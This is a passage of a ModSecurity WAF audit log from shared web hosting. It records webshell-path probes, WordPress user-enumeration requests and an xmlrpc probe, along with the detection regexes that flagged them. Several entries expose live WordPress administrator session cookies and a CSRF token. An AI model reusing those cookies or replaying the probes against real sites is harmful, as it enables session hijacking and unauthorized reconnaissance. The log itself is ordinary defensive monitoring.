Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499
--7f85734a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 407ab1f0-1e89-4f3f-b7ca-5493006d3fc7
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7f85734a-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/ufo19p_20539.php"] [unique_id "aqaYnSsVWymXUono-eRXBwAAAA0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/ufo19p_20539.php"] [unique_id "aqaYnSsVWymXUono-eRXBwAAAA0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302941120512 387730 (- - -)
Stopwatch2: 1789302941120512 387730; combined=4854, p1=370, p2=4402, p3=0, p4=0, p5=82, sr=177, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--7f85734a-Z--
--1a990260-A--
[13/Sep/2026:15:35:41.545571 +0300] aqaYnWM7dE9KgIIOpQh@lAAAAME 47.128.26.84 35422 127.0.0.1 7081
--1a990260-B--
GET /img/ufo19_20982.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499
--1a990260-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 1ae80499-f73a-4690-b878-d19a2883929e
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1a990260-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/ufo19_20982.php"] [unique_id "aqaYnWM7dE9KgIIOpQh@lAAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/ufo19_20982.php"] [unique_id "aqaYnWM7dE9KgIIOpQh@lAAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302941297154 248515 (- - -)
Stopwatch2: 1789302941297154 248515; combined=17324, p1=323, p2=16935, p3=0, p4=0, p5=66, sr=130, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--1a990260-Z--
--e7725d76-A--
[13/Sep/2026:15:35:41.578199 +0300] aqaYnSsVWymXUono-eRXBgAAAAE 47.128.26.84 35406 127.0.0.1 7081
--e7725d76-B--
GET /img/ufo19w_831.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499
--e7725d76-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 03719a3a-48a5-468f-b5b8-1ada0158f5df
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e7725d76-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqaYnSsVWymXUono-eRXBgAAAAE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqaYnSsVWymXUono-eRXBgAAAAE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302941118794 459480 (- - -)
Stopwatch2: 1789302941118794 459480; combined=10024, p1=1259, p2=8697, p3=0, p4=0, p5=67, sr=977, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--e7725d76-Z--
--55c0564d-A--
[13/Sep/2026:15:47:32.613211 +0300] aqabZGM7dE9KgIIOpQh-KQAAAMc 62.4.41.94 44466 127.0.0.1 7081
--55c0564d-B--
GET /wp-json/wp/v2/users?_fields=slug&per_page=100&page=1 HTTP/1.1
Host: axapres.ro
X-Real-IP: 62.4.41.94
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
Sec-Ch-Ua: "Not=A?Brand";v="99", "Google Chrome";v="151", "Chromium";v="151"
Sec-Ch-Ua-Platform: "Windows"
Accept: application/json, text/plain, */*
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Dnt: 1
Sec-Ch-Ua-Mobile: ?0
--55c0564d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--55c0564d-E--
--55c0564d-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users?_fields=slug&per_page=100&page=1||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Message: Operator EQ matched 0 at REQUEST_COOKIES. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "426"] [id "77316783"] [msg "IM360 WAF: Monitoring WordPress 5.3 User Enumeration attempts||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "wp_core"] [tag "noshow"]
Stopwatch: 1789303652580801 32476 (- - -)
Stopwatch2: 1789303652580801 32476; combined=31294, p1=234, p2=30959, p3=61, p4=8, p5=31, sr=102, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--55c0564d-Z--
--b2b2a72e-A--
[13/Sep/2026:15:48:09.360978 +0300] aqabiWM7dE9KgIIOpQh-MAAAANM 62.4.41.94 50722 127.0.0.1 7081
--b2b2a72e-B--
GET /wp-json/wp/v2/users?_jsonp=callback&per_page=100&_fields=id,slug HTTP/1.1
Host: axapres.ro
X-Real-IP: 62.4.41.94
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Sec-Ch-Ua: "Not=A?Brand";v="99", "Google Chrome";v="151", "Chromium";v="151"
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Dnt: 1
--b2b2a72e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--b2b2a72e-E--
--b2b2a72e-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users?_jsonp=callback&per_page=100&_fields=id,slug||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Message: Operator EQ matched 0 at REQUEST_COOKIES. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "426"] [id "77316783"] [msg "IM360 WAF: Monitoring WordPress 5.3 User Enumeration attempts||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "wp_core"] [tag "noshow"]
Stopwatch: 1789303689325158 35915 (- - -)
Stopwatch2: 1789303689325158 35915; combined=32661, p1=348, p2=32126, p3=134, p4=10, p5=43, sr=145, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b2b2a72e-Z--
--9bb9f651-A--
[13/Sep/2026:16:00:18.527673 +0300] aqaeYUwu1RSkptiiNIX9vQAAAJA 62.74.18.173 54758 127.0.0.1 7081
--9bb9f651-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C61d52a60d4c8f0dc93c158654dfd535da166e517b1c4de7584b736abab0dd3c5; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 77ebd02b11
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20671&action=edit
Accept-Encoding: gzip, deflate, br
--9bb9f651-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link:
; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 77ebd02b11
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
--9bb9f651-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789304417653041 874731 (- - -)
Stopwatch2: 1789304417653041 874731; combined=5919, p1=464, p2=5044, p3=0, p4=0, p5=245, sr=258, sw=166, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"
--9bb9f651-Z--
--c96fe755-A--
[13/Sep/2026:16:00:31.674425 +0300] aqaeb2M7dE9KgIIOpQh-ZAAAAMs 62.74.18.173 35638 127.0.0.1 7081
--c96fe755-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C61d52a60d4c8f0dc93c158654dfd535da166e517b1c4de7584b736abab0dd3c5; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 77ebd02b11
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20671&action=edit&classic-editor
Accept-Encoding: gzip, deflate, br
--c96fe755-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link:
; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 77ebd02b11
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
--c96fe755-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789304431101125 573397 (- - -)
Stopwatch2: 1789304431101125 573397; combined=5659, p1=286, p2=5034, p3=0, p4=0, p5=193, sr=218, sw=146, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"
--c96fe755-Z--
--e89e904a-A--
[13/Sep/2026:16:02:05.374009 +0300] aqaezGM7dE9KgIIOpQh-cAAAANg 62.74.18.173 56552 127.0.0.1 7081
--e89e904a-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C61d52a60d4c8f0dc93c158654dfd535da166e517b1c4de7584b736abab0dd3c5; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 77ebd02b11
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20674&action=edit
Accept-Encoding: gzip, deflate, br
--e89e904a-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link:
; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 77ebd02b11
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
--e89e904a-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789304524804414 569695 (- - -)
Stopwatch2: 1789304524804414 569695; combined=5435, p1=333, p2=4789, p3=0, p4=0, p5=179, sr=193, sw=134, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"
--e89e904a-Z--
--d5a8b745-A--
[13/Sep/2026:16:02:21.344576 +0300] aqae3GM7dE9KgIIOpQh-dQAAAMc 62.74.18.173 54018 127.0.0.1 7081
--d5a8b745-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C61d52a60d4c8f0dc93c158654dfd535da166e517b1c4de7584b736abab0dd3c5; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 77ebd02b11
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20674&action=edit&classic-editor
Accept-Encoding: gzip, deflate, br
--d5a8b745-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link:
; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 77ebd02b11
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
--d5a8b745-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789304540820925 523856 (- - -)
Stopwatch2: 1789304540820925 523856; combined=5537, p1=286, p2=4967, p3=0, p4=0, p5=164, sr=179, sw=120, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"
--d5a8b745-Z--
--530d0363-A--
[13/Sep/2026:16:06:51.970050 +0300] aqaf62M7dE9KgIIOpQh-lgAAAMI 34.75.195.240 51244 127.0.0.1 7081
--530d0363-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.75.195.240
X-Accel-Internal: /internal-nginx-static-location
